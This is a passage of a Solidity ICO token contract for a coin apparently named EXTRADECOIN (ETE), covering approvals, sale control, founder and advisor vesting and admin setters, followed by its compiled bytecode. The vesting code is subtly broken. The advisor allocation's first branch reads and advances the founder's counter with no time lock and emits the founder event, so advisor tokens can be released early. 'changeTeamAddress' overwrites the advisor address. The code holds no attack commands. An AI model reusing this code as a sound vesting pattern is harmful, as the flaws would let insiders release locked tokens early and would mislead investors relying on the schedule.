function approve(address _spender, uint256 _value) external transferable returns (bool) {
require(_spender != address(0));
require(_value > 0);
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
// Start ICO
function startICO() external isActive onlyOwnerOrAdmin returns (bool) {
saleState = IN_ICO;
icoStartTime = now;
isSelling = true;
emit StartICO(saleState);
return true;
}
// End ICO
function endICO() external isActive onlyOwnerOrAdmin returns (bool) {
require(icoEndTime == 0);
saleState = END_SALE;
isSelling = false;
icoEndTime = now;
emit EndICO(saleState);
return true;
}
// Activate token sale function
function activate() external onlyOwner {
inActive = false;
}
// Deacivate token sale function
function deActivate() external onlyOwner {
inActive = true;
}
// Enable transfer feature of tokens
function enableTokenTransfer() external isActive onlyOwner {
isTransferable = true;
}
// Modify wallet
function changeWallet(address _newAddress) external onlyOwner {
require(_newAddress != address(0));
require(walletAddress != _newAddress);
walletAddress = _newAddress;
}
// Modify admin
function changeAdminAddress(address _newAddress) external onlyOwner {
require(_newAddress != address(0));
require(adminAddress != _newAddress);
adminAddress = _newAddress;
}
// Modify founder address to receive founder tokens allocation
function changeFounderAddress(address _newAddress) external onlyOwnerOrAdmin {
require(_newAddress != address(0));
require(founderAddress != _newAddress);
founderAddress = _newAddress;
}
// Modify team address to receive team tokens allocation
function changeTeamAddress(address _newAddress) external onlyOwnerOrAdmin {
require(_newAddress != address(0));
require(advisorAddress != _newAddress);
advisorAddress = _newAddress;
}
// Allocate tokens for founder vested gradually for 4 year
function allocateTokensForFounder() external isActive onlyOwnerOrAdmin {
require(saleState == END_SALE);
require(founderAddress != address(0));
uint256 amount;
if (founderAllocatedTime == 1) {
require(now >= icoEndTime + lockPeriod1);
amount = founderAllocation * 50/100;
balances[founderAddress] = balances[founderAddress].add(amount);
emit AllocateTokensForFounder(founderAddress, founderAllocatedTime, amount);
founderAllocatedTime = 2;
return;
}
if (founderAllocatedTime == 2) {
require(now >= icoEndTime + lockPeriod2);
amount = founderAllocation * 50/100;
balances[founderAddress] = balances[founderAddress].add(amount);
emit AllocateTokensForFounder(founderAddress, founderAllocatedTime, amount);
founderAllocatedTime = 3;
return;
}
revert();
}
// Allocate tokens for advisor and angel investors vested gradually for 1 year
function allocateTokensForAdvisor() external isActive onlyOwnerOrAdmin {
require(saleState == END_SALE);
require(advisorAddress != address(0));
uint256 amount;
if (founderAllocatedTime == 1) {
amount = advisorAllocation * 50/100;
balances[advisorAddress] = balances[advisorAddress].add(amount);
emit AllocateTokensForFounder(advisorAddress, founderAllocatedTime, amount);
founderAllocatedTime = 2;
return;
}
if (advisorAllocatedTime == 2) {
require(now >= icoEndTime + lockPeriod2);
amount = advisorAllocation * 125/1000;
balances[advisorAddress] = balances[advisorAddress].add(amount);
emit AllocateTokensForAdvisor(advisorAddress, advisorAllocatedTime, amount);
advisorAllocatedTime = 3;
return;
}
if (advisorAllocatedTime == 3) {
require(now >= icoEndTime + lockPeriod3);
amount = advisorAllocation * 125/1000;
balances[advisorAddress] = balances[advisorAddress].add(amount);
emit AllocateTokensForAdvisor(advisorAddress, advisorAllocatedTime, amount);
advisorAllocatedTime = 4;
return;
}
if (advisorAllocatedTime == 4) {
require(now >= icoEndTime + lockPeriod3);
amount = advisorAllocation * 125/1000;
balances[advisorAddress] = balances[advisorAddress].add(amount);
emit AllocateTokensForAdvisor(advisorAddress, advisorAllocatedTime, amount);
advisorAllocatedTime = 5;
return;
}
if (advisorAllocatedTime == 5) {
require(now >= icoEndTime + lockPeriod3);
amount = advisorAllocation * 125/1000;
balances[advisorAddress] = balances[advisorAddress].add(amount);
emit AllocateTokensForAdvisor(advisorAddress, advisorAllocatedTime, amount);
advisorAllocatedTime = 6;
return;
}
revert();
}
// Allocate reserved tokens
function allocateReservedTokens(address _addr, uint _amount) external isActive onlyOwnerOrAdmin {
require(saleState == END_SALE);
require(_amount > 0);
require(_addr != address(0));
balances[_addr] = balances[_addr].add(_amount);
totalReservedTokenAllocation = totalReservedTokenAllocation.sub(_amount);
emit AllocateReservedTokens(_addr, _amount);
}
// Allocate sales tokens
function allocateSalesTokens(address _addr, uint _amount) external isActive onlyOwnerOrAdmin {
require(_amount > 0);
require(_addr != address(0));
balances[_addr] = balances[_addr].add(_amount);
totalRemainingTokensForSales = totalRemainingTokensForSales.sub(_amount);
emit AllocateSalesTokens(_addr, _amount);
}
// ERC20 standard function
function allowance(address _owner, address _spender) external constant returns (uint256) {
return allowed[_owner][_spender];
}
// ERC20 standard function
function balanceOf(address _owner) external constant returns (uint256 balance) {
return balances[_owner];
}
// Get softcap reaching status
function isSoftCapReached() public view returns (bool) {
return totalInvestedAmount >= minInvestedCap;
}
}
|
0x606060405260043610610230576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461023557806309522d7f146102c3578063095ea7b3146102ec5780630f15f4c0146103465780631021688f1461035b57806311823e041461039457806318160ddd146103bd5780632121dc75146103e65780632272df6714610413578063230b1eb51461044c57806323b872dd146104755780632c8c892b146104ee578063313ce567146105305780633281c4e114610559578063396d1ddf146105825780633a22a593146105ab5780633a764462146105d45780633aee69bb146105e957806346bb2833146106225780634f248409146106775780635185b724146106a457806363db30e8146106e65780636ad5b3ea1461070f57806370a08231146107645780637904586e146107b15780637e1055b6146107fe5780637fa8c1581461082757806380d32f8514610854578063824338bd146108815780638da5cb5b146108aa57806395d89b41146108ff57806396d4d0911461098d57806398b9a2dc146109e2578063a6f9dae114610a1b578063a7c3d71b14610a54578063a9059cbb14610a7d578063aaff2a8314610ad7578063be5f3d1214610b00578063cbf2183714610b15578063d128fc2014610b42578063d8ee796f14610b57578063dccbfa2a14610b80578063dd62ed3e14610ba9578063f97a02fa14610c15578063fc6f946814610c42578063ff895a6214610c97575b600080fd5b341561024057600080fd5b610248610cac565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561028857808201518184015260208101905061026d565b50505050905090810190601f1680156102b55780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102ce57600080fd5b6102d6610ce5565b6040518082815260200191505060405180910390f35b34156102f757600080fd5b61032c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610cf4565b604051808215151515815260200191505060405180910390f35b341561035157600080fd5b610359610e53565b005b341561036657600080fd5b610392600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ecb565b005b341561039f57600080fd5b6103a7611003565b6040518082815260200191505060405180910390f35b34156103c857600080fd5b6103d0611012565b6040518082815260200191505060405180910390f35b34156103f157600080fd5b6103f9611021565b604051808215151515815260200191505060405180910390f35b341561041e57600080fd5b61044a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611034565b005b341561045757600080fd5b61045f6111c4565b6040518082815260200191505060405180910390f35b341561048057600080fd5b6104d4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506111ca565b604051808215151515815260200191505060405180910390f35b34156104f957600080fd5b61052e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061151e565b005b341561053b57600080fd5b61054361175d565b6040518082815260200191505060405180910390f35b341561056457600080fd5b61056c611762565b6040518082815260200191505060405180910390f35b341561058d57600080fd5b610595611771565b6040518082815260200191505060405180910390f35b34156105b657600080fd5b6105be611777565b6040518082815260200191505060405180910390f35b34156105df57600080fd5b6105e761177d565b005b34156105f457600080fd5b610620600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611817565b005b341561062d57600080fd5b6106356119a7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561068257600080fd5b61068a6119cd565b604051808215151515815260200191505060405180910390f35b34156106af57600080fd5b6106e4600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611b1e565b005b34156106f157600080fd5b6106f9611d6e565b6040518082815260200191505060405180910390f35b341561071a57600080fd5b610722611d7a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561076f57600080fd5b61079b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611da0565b6040518082815260200191505060405180910390f35b34156107bc57600080fd5b6107e8600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611de9565b6040518082815260200191505060405180910390f35b341561080957600080fd5b610811611e01565b6040518082815260200191505060405180910390f35b341561083257600080fd5b61083a611e07565b604051808215151515815260200191505060405180910390f35b341561085f57600080fd5b610867611f47565b604051808215151515815260200191505060405180910390f35b341561088c57600080fd5b610894611f5e565b6040518082815260200191505060405180910390f35b34156108b557600080fd5b6108bd611f6d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561090a57600080fd5b610912611f92565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610952578082015181840152602081019050610937565b50505050905090810190601f16801561097f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561099857600080fd5b6109a0611fcb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156109ed57600080fd5b610a19600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ff1565b005b3415610a2657600080fd5b610a52600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612129565b005b3415610a5f57600080fd5b610a67612203565b6040518082815260200191505060405180910390f35b3415610a8857600080fd5b610abd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612209565b604051808215151515815260200191505060405180910390f35b3415610ae257600080fd5b610aea612411565b6040518082815260200191505060405180910390f35b3415610b0b57600080fd5b610b13612417565b005b3415610b2057600080fd5b610b28612dfa565b604051808215151515815260200191505060405180910390f35b3415610b4d57600080fd5b610b55612e0d565b005b3415610b6257600080fd5b610b6a6132d2565b6040518082815260200191505060405180910390f35b3415610b8b57600080fd5b610b936132d8565b6040518082815260200191505060405180910390f35b3415610bb457600080fd5b610bff600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506132e6565b6040518082815260200191505060405180910390f35b3415610c2057600080fd5b610c2861336d565b604051808215151515815260200191505060405180910390f35b3415610c4d57600080fd5b610c55613380565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610ca257600080fd5b610caa6133a6565b005b6040805190810160405280600b81526020017f45585452414445434f494e00000000000000000000000000000000000000000081525081565b6a33b2e3c9fd0803ce80000081565b600060011515600c60029054906101000a900460ff161515141515610d1857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610d5457600080fd5b600082111515610d6357600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eae57600080fd5b6000600c60006101000a81548160ff021916908315150217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f2657600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610f6257600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515610fbf57600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6a14adf4b7320334b900000081565b6acecb8f27f4200f3a00000081565b600c60029054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806110dc5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156110e757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561112357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561118057600080fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60115481565b600060011515600c60029054906101000a900460ff1615151415156111ee57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561122a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415151561126657600080fd5b60008211151561127557600080fd5b6112c782600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461341e90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061135c82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461343790919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061142e82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461341e90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60001515600c60009054906101000a900460ff16151514151561154057600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806115e85750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156115f357600080fd5b60008111151561160257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561163e57600080fd5b61169081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461343790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506116e881600f5461341e90919063ffffffff16565b600f819055507f5a0785f58719bca05bb9d76730d322e101b6c7c8bcc6da140a409947b003bbe78282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b601281565b6a6765c793fa10079d00000081565b60105481565b600e5481565b60001515600c60009054906101000a900460ff16151514151561179f57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117fa57600080fd5b6001600c60026101000a81548160ff021916908315150217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806118bf5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156118ca57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561190657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561196357600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000801515600c60009054906101000a900460ff1615151415156119f057600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611a985750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611aa357600080fd5b6000600b54141515611ab457600080fd5b60026008819055506000600c60016101000a81548160ff02191690831515021790555042600b819055507fe4aa5e3f9012723c200a69efdcca855ae09af7d70992cc420cce249fee0e09996008546040518082815260200191505060405180910390a16001905090565b60001515600c60009054906101000a900460ff161515141515611b4057600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611be85750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611bf357600080fd5b6002600854141515611c0457600080fd5b600081111515611c1357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515611c4f57600080fd5b611ca181600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461343790919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611cf98160115461341e90919063ffffffff16565b6011819055507f47a75aa311e7576c9a07da850c14f42ffe2864978d7f025084839a75bdcbdac68282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15050565b67016345785d8a000081565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60076020528060005260406000206000915090505481565b600b5481565b6000801515600c60009054906101000a900460ff161515141515611e2a57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611ed25750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515611edd57600080fd5b600160088190555042600a819055506001600c60016101000a81548160ff0219169083151502179055507f87fcd7085eaabc2418e6a12ac5497cf18368bf4ad51215e24fd4782fa0c0ba576008546040518082815260200191505060405180910390a16001905090565b600069014542ba12a337c000006009541015905090565b6a1f04ef12cb04cf1580000081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600381526020017f455445000000000000000000000000000000000000000000000000000000000081525081565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561204c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561208857600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515156120e557600080fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561218457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156121c057600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a5481565b600060011515600c60029054906101000a900460ff16151514151561222d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561226957600080fd5b60008211151561227857600080fd5b6122ca82600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461341e90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061235f82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461343790919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600f5481565b6000801515600c60009054906101000a900460ff16151514151561243a57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806124e25750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15156124ed57600080fd5b60026008541415156124fe57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561255c57600080fd5b6001600d54141561270157606460326a14adf4b7320334b90000000281151561258157fe5b0490506125f88160016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461343790919063ffffffff16565b60016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fa12320dea361e697cd0fb17d62af7c61880334f66c5b27d144602185281c0603600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d5483604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a16002600d81905550612df7565b6002600e5414156128be576301e13380600b5401421015151561272357600080fd5b6103e8607d6a14adf4b7320334b90000000281151561273e57fe5b0490506127b58160016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461343790919063ffffffff16565b60016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f09e327415b03a4b8be9b82b38e073bc05b5f26dcc5cd52a38f51614ce6ca2391600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e5483604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a16003600e81905550612df7565b6003600e541415612a7a576276a700600b540142101515156128df57600080fd5b6103e8607d6a14adf4b7320334b9000000028115156128fa57fe5b0490506129718160016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461343790919063ffffffff16565b60016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f09e327415b03a4b8be9b82b38e073bc05b5f26dcc5cd52a38f51614ce6ca2391600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e5483604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a16004600e81905550612df7565b6004600e541415612c36576276a700600b54014210151515612a9b57600080fd5b6103e8607d6a14adf4b7320334b900000002811515612ab657fe5b049050612b2d8160016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461343790919063ffffffff16565b60016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f09e327415b03a4b8be9b82b38e073bc05b5f26dcc5cd52a38f51614ce6ca2391600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e5483604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a16005600e81905550612df7565b6005600e541415612df2576276a700600b54014210151515612c5757600080fd5b6103e8607d6a14adf4b7320334b900000002811515612c7257fe5b049050612ce98160016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461343790919063ffffffff16565b60016000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f09e327415b03a4b8be9b82b38e073bc05b5f26dcc5cd52a38f51614ce6ca2391600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e5483604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a16006600e81905550612df7565b600080fd5b50565b600c60019054906101000a900460ff1681565b6000801515600c60009054906101000a900460ff161515141515612e3057600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480612ed85750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b1515612ee357600080fd5b6002600854141515612ef457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515612f5257600080fd5b6001600d54141561310e576305a39a80600b54014210151515612f7457600080fd5b606460326a1f04ef12cb04cf1580000002811515612f8e57fe5b0490506130058160016000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461343790919063ffffffff16565b60016000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fa12320dea361e697cd0fb17d62af7c61880334f66c5b27d144602185281c0603600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d5483604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a16002600d819055506132cf565b6002600d5414156132ca576301e13380600b5401421015151561313057600080fd5b606460326a1f04ef12cb04cf158000000281151561314a57fe5b0490506131c18160016000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461343790919063ffffffff16565b60016000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507fa12320dea361e697cd0fb17d62af7c61880334f66c5b27d144602185281c0603600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600d5483604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828152602001935050505060405180910390a16003600d819055506132cf565b600080fd5b50565b600d5481565b69014542ba12a337c0000081565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600c60009054906101000a900460ff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561340157600080fd5b6001600c60006101000a81548160ff021916908315150217905550565b600082821115151561342c57fe5b818303905092915050565b600080828401905083811015151561344b57fe5b80915050929150505600a165627a7a72305820c80b75352834a24c412f5692009a66f2492289191d4641f80e6155aab0165aec0029
|
